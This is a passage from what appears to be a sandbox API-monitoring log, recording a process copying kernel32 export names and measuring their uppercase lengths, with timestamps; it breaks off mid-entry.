lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0129.076] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0129.076] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0129.076] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0129.076] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0129.076] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0129.077] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0129.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0129.077] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0129.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0129.077] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0129.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0129.077] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0129.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0129.077] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0129.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0129.077] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0129.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0129.077] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0129.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0129.077] lstrlenA (lpString="BACKUPREAD") returned 10 [0129.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0129.077] lstrlenA (lpString="BACKUPSEEK") returned 10 [0129.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0129.077] lstrlenA (lpString="BACKUPWRITE") returned 11 [0129.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0129.077] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0129.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0129.077] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0129.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0129.078] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0129.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0129.078] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0129.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0129.078] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0129.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0129.078] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0129.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0129.078] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0129.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0129.078] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0129.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0129.078] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0129.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0129.078] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0129.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0129.078] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0129.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0129.078] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0129.079] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0129.079] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0129.079] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0129.079] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0129.079] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0129.079] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0129.079] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0129.079] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0129.079] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0129.079] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0129.079] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0129.079] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0129.079] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0129.079] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0129.079] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0129.079] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0129.079] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0129.079] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0129.079] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0129.079] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0129.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0129.080] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0129.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0129.080] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0129.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0129.080] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0129.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0129.080] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0129.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0129.080] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0129.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0129.080] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0129.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0129.080] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0129.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0129.080] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0129.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0129.080] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0129.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0129.080] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0129.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0129.080] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0129.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0129.080] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0129.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0129.080] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0129.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0129.084] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0129.084] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0129.084] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0129.084] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0129.084] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0129.084] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0129.084] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0129.084] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0129.084] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0129.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0129.085] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0129.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0129.085] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0129.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0129.085] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0129.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0129.085] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0129.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0129.085] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0129.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0129.085] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0129.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0129.085] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0129.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0129.085] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0129.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0129.085] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0129.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0129.085] lstrlenA (lpString="BEEP") returned 4 [0129.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0129.085] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0129.085] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0129.085] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0129.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0129.094] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0129.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0129.094] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0129.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0129.094] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0129.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0129.094] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0129.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0129.094] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0129.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0129.094] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0129.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0129.094] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0129.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0129.094] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0129.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0129.094] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0129.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0129.094] lstrlenA (lpString="CANCELIO") returned 8 [0129.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0129.094] lstrlenA (lpString="CANCELIOEX") returned 10 [0129.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0129.094] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0129.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0129.094] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0129.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0129.094] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0129.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0129.095] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0129.095] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0129.095] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0129.095] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0129.095] lstrlenA (lpString="CHECKELEVATION") returned 14 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0129.095] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0129.095] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0129.095] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0129.095] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0129.095] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0129.095] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0129.095] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0129.095] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0129.095] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0129.095] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0129.095] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0129.095] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0129.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0129.095] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0129.096] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0129.096] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0129.096] lstrlenA (lpString="CLOSESTATE") returned 10 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0129.096] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0129.096] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0129.096] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0129.096] lstrcpyA (in: lpString1=0x38bdb2c, 